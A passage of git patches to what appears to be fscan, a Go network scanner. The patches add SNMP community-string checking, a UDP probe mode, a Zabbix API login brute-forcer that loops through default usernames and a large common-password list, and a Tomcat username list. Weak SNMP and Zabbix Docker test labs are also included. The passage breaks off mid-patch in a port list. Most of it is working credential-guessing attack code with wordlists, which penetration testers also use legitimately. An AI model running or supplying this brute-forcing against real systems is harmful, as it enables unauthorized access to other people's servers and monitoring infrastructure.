time.Duration(Common.Timeout) * time.Second + + snmp := &gosnmp.GoSNMP{ + Target: host, + Port: uint16(portNum), + Community: community, + Version: gosnmp.Version2c, + Timeout: timeout, + Retries: 1, + } + + err := snmp.Connect() + if err != nil { + return false, err + } + defer snmp.Conn.Close() + + oids := []string{"1.3.6.1.2.1.1.1.0"} + result, err := snmp.Get(oids) + if err != nil { + return false, err + } + + if len(result.Variables) > 0 { + success := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v", + host, portNum, community) // 使用portNum替换port + + if result.Variables[0].Type != gosnmp.NoSuchObject { + sysDesc := strings.TrimSpace(string(result.Variables[0].Value.([]byte))) + success += fmt.Sprintf(" System: %v", sysDesc) + } + + Common.LogSuccess(success) + return true, nil + } + + return false, fmt.Errorf("认证失败") +} diff --git a/go.mod b/go.mod index 75900b6..9d9f1bd 100644 --- a/go.mod +++ b/go.mod @@ -46,6 +46,7 @@ require ( github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect github.com/google/uuid v1.6.0 // indirect + github.com/gosnmp/gosnmp v1.38.0 // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect diff --git a/go.sum b/go.sum index abde22f..d96c250 100644 --- a/go.sum +++ b/go.sum @@ -129,6 +129,8 @@ github.com/gopherjs/gopherjs v0.0.0-20210621113107-84c6004145de/go.mod h1:MtKwTf github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/gosnmp/gosnmp v1.38.0 h1:I5ZOMR8kb0DXAFg/88ACurnuwGwYkXWq3eLpJPHMEYc= +github.com/gosnmp/gosnmp v1.38.0/go.mod h1:FE+PEZvKrFz9afP9ii1W3cprXuVZ17ypCcyyfYuu5LY= github.com/goxjs/gl v0.0.0-20210104184919-e3fafc6f8f2a/go.mod h1:dy/f2gjY09hwVfIyATps4G2ai7/hLwLkc5TrPqONuXY= github.com/goxjs/glfw v0.0.0-20191126052801-d2efb5f20838/go.mod h1:oS8P8gVOT4ywTcjV6wZlOU4GuVFQ8F5328KY3MJ79CY= github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= From 26525dbb0ec3c47d0e2403c844ac156afc852247 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 03:00:07 +0800 Subject: [PATCH 138/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0SNMP=E6=B5=8B?= =?UTF-8?q?=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/SNMP/Dockerfile | 23 +++++++++++++++++++++++ TestDocker/SNMP/README.txt | 2 ++ 2 files changed, 25 insertions(+) create mode 100644 TestDocker/SNMP/Dockerfile create mode 100644 TestDocker/SNMP/README.txt diff --git a/TestDocker/SNMP/Dockerfile b/TestDocker/SNMP/Dockerfile new file mode 100644 index 0000000..efb84b6 --- /dev/null +++ b/TestDocker/SNMP/Dockerfile @@ -0,0 +1,23 @@ +FROM ubuntu:20.04 + +# 安装SNMP服务 +RUN apt-get update && \ + DEBIAN_FRONTEND=noninteractive apt-get install -y snmpd && \ + rm -rf /var/lib/apt/lists/* + +# 备份原配置 +RUN cp /etc/snmp/snmpd.conf /etc/snmp/snmpd.conf.orig + +# 创建新的配置文件 +RUN echo "rocommunity public default" > /etc/snmp/snmpd.conf && \ + echo "rocommunity private default" >> /etc/snmp/snmpd.conf && \ + echo "rocommunity cisco default" >> /etc/snmp/snmpd.conf && \ + echo "rocommunity community default" >> /etc/snmp/snmpd.conf && \ + # 允许从任何地址访问 + echo "agentAddress udp:161,udp6:[::1]:161" >> /etc/snmp/snmpd.conf + +# 开放SNMP端口 +EXPOSE 161/udp + +# 启动SNMP服务 +CMD ["snmpd", "-f", "-Lo", "-C", "-c", "/etc/snmp/snmpd.conf"] \ No newline at end of file diff --git a/TestDocker/SNMP/README.txt b/TestDocker/SNMP/README.txt new file mode 100644 index 0000000..6415212 --- /dev/null +++ b/TestDocker/SNMP/README.txt @@ -0,0 +1,2 @@ +docker build -t snmp-weak . +docker run -d --name snmp-test -p 161:161/udp snmp-weak \ No newline at end of file From 1906acf5512ea33dc29e2e586847bbfdb7b6eb35 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 03:15:14 +0800 Subject: [PATCH 139/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96UDP=E6=89=AB?= =?UTF-8?q?=E6=8F=8F=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Flag.go | 1 + Common/ParsePort.go | 1 + Common/ParseScanMode.go | 6 +++++- Common/Ports.go | 1 + Core/PortScan.go | 40 +++++++++++++++++++++++----------------- Plugins/SNMP.go | 1 - 6 files changed, 31 insertions(+), 19 deletions(-) diff --git a/Common/Flag.go b/Common/Flag.go index 6121125..a308c44 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -65,6 +65,7 @@ func Flag(Info *HostInfo) { " - Port: 端口扫描模式\n"+ " - ICMP: ICMP存活探测\n"+ " - Local: 本地信息收集\n\n"+ + " - UDP: UDP扫描模式\n\n"+ "单个插件模式(小写):\n"+ " Web类: web, fcgi\n"+ " 数据库类: mysql, mssql, redis, mongodb, postgres, oracle, memcached\n"+ diff --git a/Common/ParsePort.go b/Common/ParsePort.go index 770b97b..f8a3453 100644 --- a/Common/ParsePort.go +++ b/Common/ParsePort.go @@ -14,6 +14,7 @@ func ParsePort(ports string) []int { "service": ServicePorts, "db": DbPorts, "web": WebPorts, + "udp": UDPPorts, "all": AllPorts, "main": MainPorts, } diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index d22add6..4a12ee9 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -13,6 +13,7 @@ const ( ModePort = "Port" // 端口扫描 ModeICMP = "ICMP" // ICMP探测 ModeLocal = "Local" // 本地信息收集 + ModeUDP = "UDP" //UDP扫描 ) // 插件分类映射表 - 所有插件名使用小写 @@ -36,7 +37,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", }, ModeVul: { "ms17010", "smbghost", "smb2", @@ -44,6 +45,9 @@ var pluginGroups = map[string][]string{ ModeLocal: { "localinfo", }, + ModeUDP: { + "snmp", + }, } // ParseScanMode 解析扫描模式 diff --git a/Common/Ports.go b/Common/Ports.go index 648e932..a71bedc 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -8,6 +8,7 @@ import ( var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,587,636,993,995,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" +var UDPPorts = "161" var AllPorts = "1-65535" var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" diff --git a/Core/PortScan.go b/Core/PortScan.go index 6c47933..37fa60c 100644 --- a/Core/PortScan.go +++ b/Core/PortScan.go @@ -316,44 +316,50 @@ func calculateTCPChecksum(tcpHeader []byte, srcIP, dstIP net.IP) uint16 { } func UDPScan(ip string, port int, timeout int64) (bool, error) { - // 创建UDP套接字 sendConn, err := net.ListenPacket("udp4", "0.0.0.0:0") if err != nil { return false, fmt.Errorf("创建UDP套接字失败: %v", err) } defer sendConn.Close() - // 设置目标地址 dstAddr := &net.UDPAddr{ IP: net.ParseIP(ip), Port: port, } - // 发送空包 - _, err = sendConn.WriteTo([]byte{0x00}, dstAddr) + // 根据端口发送对应的探测包 + var probe []byte + switch port { + case 161: // SNMP + // SNMP GetRequest + probe = []byte{ + 0x30, 0x26, 0x02, 0x01, 0x01, 0x04, 0x06, 0x70, + 0x75, 0x62, 0x6c, 0x69, 0x63, 0xa0, 0x19, 0x02, + 0x04, 0x6b, 0x8b, 0x44, 0x5b, 0x02, 0x01, 0x00, + 0x02, 0x01, 0x00, 0x30, 0x0b, 0x30, 0x09, 0x06, + 0x05, 0x2b, 0x06, 0x01, 0x02, 0x01, 0x05, 0x00, + } + default: + probe = []byte{0x00} + } + + _, err = sendConn.WriteTo(probe, dstAddr) if err != nil { return false, fmt.Errorf("发送UDP包失败: %v", err) } - // 设置读取超时 sendConn.SetReadDeadline(time.Now().Add(time.Duration(timeout) * time.Second)) - // 尝试读取响应 - buffer := make([]byte, 65507) // UDP最大包大小 + buffer := make([]byte, 65507) n, _, err := sendConn.ReadFrom(buffer) - // 如果收到ICMP不可达,说明端口关闭 - if err != nil { - if netErr, ok := err.(net.Error); ok && netErr.Timeout() { - // 超时可能意味着端口开放但没有响应 - return true, nil - } - // 其他错误说明端口可能关闭 - return false, nil + // 收到响应则认为端口开放 + if err == nil && n > 0 { + return true, nil } - // 收到响应说明端口开放 - return n > 0, nil + // ICMP Unreachable 或其他错误都认为端口关闭 + return false, nil } // 获取系统对应的接口名 diff --git a/Plugins/SNMP.go b/Plugins/SNMP.go index 6e067c3..f9ab158 100644 --- a/Plugins/SNMP.go +++ b/Plugins/SNMP.go @@ -9,7 +9,6 @@ import ( "time" ) -// SNMPScan 执行SNMP服务扫描 // SNMPScan 执行SNMP服务扫描 func SNMPScan(info *Common.HostInfo) (tmperr error) { if Common.DisableBrute { From 016dfa788945e2383fff3957985ac955bb719bf0 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 03:30:13 +0800 Subject: [PATCH 140/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Zabbix?= =?UTF-8?q?=E6=89=AB=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 6 +-- Core/Registry.go | 6 +++ Plugins/Zabbix.go | 111 ++++++++++++++++++++++++++++++++++++++++ go.mod | 1 + go.sum | 2 + 7 files changed, 126 insertions(+), 5 deletions(-) create mode 100644 Plugins/Zabbix.go diff --git a/Common/Config.go b/Common/Config.go index d23f336..f1edbc4 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -20,6 +20,7 @@ var Userdict = map[string][]string{ "smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"}, "imap": {"admin", "mail", "postmaster", "root", "user", "test"}, "pop3": {"admin", "root", "mail", "user", "test", "postmaster"}, + "zabbix": {"Admin", "admin", "guest", "user"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 4a12ee9..e112a6c 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -22,7 +22,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", // 其他 }, @@ -37,7 +37,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "zabbix", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index a71bedc..17cf0f8 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,12 +5,12 @@ import ( "strings" ) -var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,587,636,993,995,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" +var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,587,636,993,995,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" -var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" +var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018" var UDPPorts = "161" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8443,8080,8089,9000,9200,9092,10051,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index eaadf7d..6490b9d 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -115,6 +115,12 @@ func init() { ScanFunc: Plugins.SNMPScan, }) + Common.RegisterPlugin("zabbix", Common.ScanPlugin{ + Name: "Zabbix", + Ports: []int{80, 443, 8080, 8443, 10051}, // Zabbix常用端口 + ScanFunc: Plugins.ZabbixScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/Zabbix.go b/Plugins/Zabbix.go new file mode 100644 index 0000000..dbe564e --- /dev/null +++ b/Plugins/Zabbix.go @@ -0,0 +1,111 @@ +package Plugins + +import ( + "encoding/json" + "fmt" + "github.com/go-resty/resty/v2" + "github.com/shadow1ng/fscan/Common" + "net" + "strings" + "time" +) + +// ZabbixScan 执行 Zabbix 服务扫描 +func ZabbixScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 首先测试默认账户 + flag, err := ZabbixConn(info, "Admin", "zabbix") + if flag && err == nil { + return err + } + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["zabbix"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := ZabbixConn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] Zabbix服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["zabbix"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// ZabbixConn 尝试 Zabbix API 连接 +func ZabbixConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造 API URL + apiURL := fmt.Sprintf("http://%s:%s/api_jsonrpc.php", host, port) + + // 构造认证请求 + authRequest := map[string]interface{}{ + "jsonrpc": "2.0", + "method": "user.login", + "params": map[string]string{ + "user": user, + "password": pass, + }, + "id": 1, + } + + // 创建HTTP客户端 + client := resty.New() + client.SetTimeout(timeout) + + // 发送认证请求 + resp, err := client.R(). + SetHeader("Content-Type", "application/json"). + SetBody(authRequest). + Post(apiURL) + + if err != nil { + if netErr, ok := err.(net.Error); ok && netErr.Timeout() { + return false, fmt.Errorf("连接超时") + } + return false, err + } + + // 解析响应 + var result struct { + Result string `json:"result"` + Error struct { + Code int `json:"code"` + Message string `json:"message"` + Data string `json:"data"` + } `json:"error"` + } + + if err := json.Unmarshal(resp.Body(), &result); err != nil { + return false, fmt.Errorf("响应解析失败") + } + + // 检查是否认证成功 + if result.Result != "" { + success := fmt.Sprintf("[+] Zabbix服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) + Common.LogSuccess(success) + return true, nil + } + + return false, fmt.Errorf("认证失败: %v", result.Error.Message) +} diff --git a/go.mod b/go.mod index 9d9f1bd..44126d8 100644 --- a/go.mod +++ b/go.mod @@ -42,6 +42,7 @@ require ( github.com/eapache/queue v1.1.0 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect + github.com/go-resty/resty/v2 v2.16.2 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect diff --git a/go.sum b/go.sum index d96c250..0b6924a 100644 --- a/go.sum +++ b/go.sum @@ -80,6 +80,8 @@ github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= +github.com/go-resty/resty/v2 v2.16.2 h1:CpRqTjIzq/rweXUt9+GxzzQdlkqMdt8Lm/fuK/CAbAg= +github.com/go-resty/resty/v2 v2.16.2/go.mod h1:0fHAoK7JoBy/Ch36N8VFeMsK7xQOHhvWaC3iOktwmIU= github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= From 6ba42c8c3940f16714835240f5f830e53c393450 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 03:30:19 +0800 Subject: [PATCH 141/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Zabbix?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/Zabbix/docker-compose.yml | 58 ++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 TestDocker/Zabbix/docker-compose.yml diff --git a/TestDocker/Zabbix/docker-compose.yml b/TestDocker/Zabbix/docker-compose.yml new file mode 100644 index 0000000..dff7633 --- /dev/null +++ b/TestDocker/Zabbix/docker-compose.yml @@ -0,0 +1,58 @@ +version: '3' + +services: + mysql: + image: mysql:8.0 + container_name: zabbix-mysql + command: --default-authentication-plugin=mysql_native_password + environment: + MYSQL_ROOT_PASSWORD: root123 + MYSQL_DATABASE: zabbix + MYSQL_USER: zabbix + MYSQL_PASSWORD: zabbix123 + ports: + - "3306:3306" + volumes: + - ./mysql_data:/var/lib/mysql + networks: + - zabbix-net + + zabbix-server: + image: zabbix/zabbix-server-mysql:ubuntu-6.0.23 + container_name: zabbix-server + environment: + DB_SERVER_HOST: mysql + MYSQL_DATABASE: zabbix + MYSQL_USER: zabbix + MYSQL_PASSWORD: zabbix123 + MYSQL_ROOT_PASSWORD: root123 + ports: + - "10051:10051" + depends_on: + - mysql + networks: + - zabbix-net + + zabbix-web: + image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.23 + container_name: zabbix-web + environment: + DB_SERVER_HOST: mysql + MYSQL_DATABASE: zabbix + MYSQL_USER: zabbix + MYSQL_PASSWORD: zabbix123 + MYSQL_ROOT_PASSWORD: root123 + ZBX_SERVER_HOST: zabbix-server + PHP_TZ: Asia/Shanghai + ports: + - "80:8080" + - "443:8443" + depends_on: + - mysql + - zabbix-server + networks: + - zabbix-net + +networks: + zabbix-net: + driver: bridge \ No newline at end of file From 1f860f22c88b18ac8a626ee3d241422da69ae027 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 03:42:34 +0800 Subject: [PATCH 142/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0Tomcat?= =?UTF-8?q?=E6=89=AB=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 2 +- Common/Ports.go | 4 +- Core/Registry.go | 6 +++ Plugins/Tomcat.go | 95 +++++++++++++++++++++++++++++++++++++++++ 5 files changed, 105 insertions(+), 3 deletions(-) create mode 100644 Plugins/Tomcat.go diff --git a/Common/Config.go b/Common/Config.go index f1edbc4..2bd156b 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -21,6 +21,7 @@ var Userdict = map[string][]string{ "imap": {"admin", "mail", "postmaster", "root", "user", "test"}, "pop3": {"admin", "root", "mail", "user", "test", "postmaster"}, "zabbix": {"Admin", "admin", "guest", "user"}, + "tomcat": {"tomcat", "admin", "manager", "role1", "root", "both", "admin", "tomcat"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index e112a6c..94490fd 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -19,7 +19,7 @@ const ( // 插件分类映射表 - 所有插件名使用小写 var pluginGroups = map[string][]string{ ModeAll: { - "web", "fcgi", // web类 + "web", "fcgi", "tomcat", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "zabbix", // 服务类 diff --git a/Common/Ports.go b/Common/Ports.go index 17cf0f8..66d40a6 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -7,10 +7,10 @@ import ( var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,587,636,993,995,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" -var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,2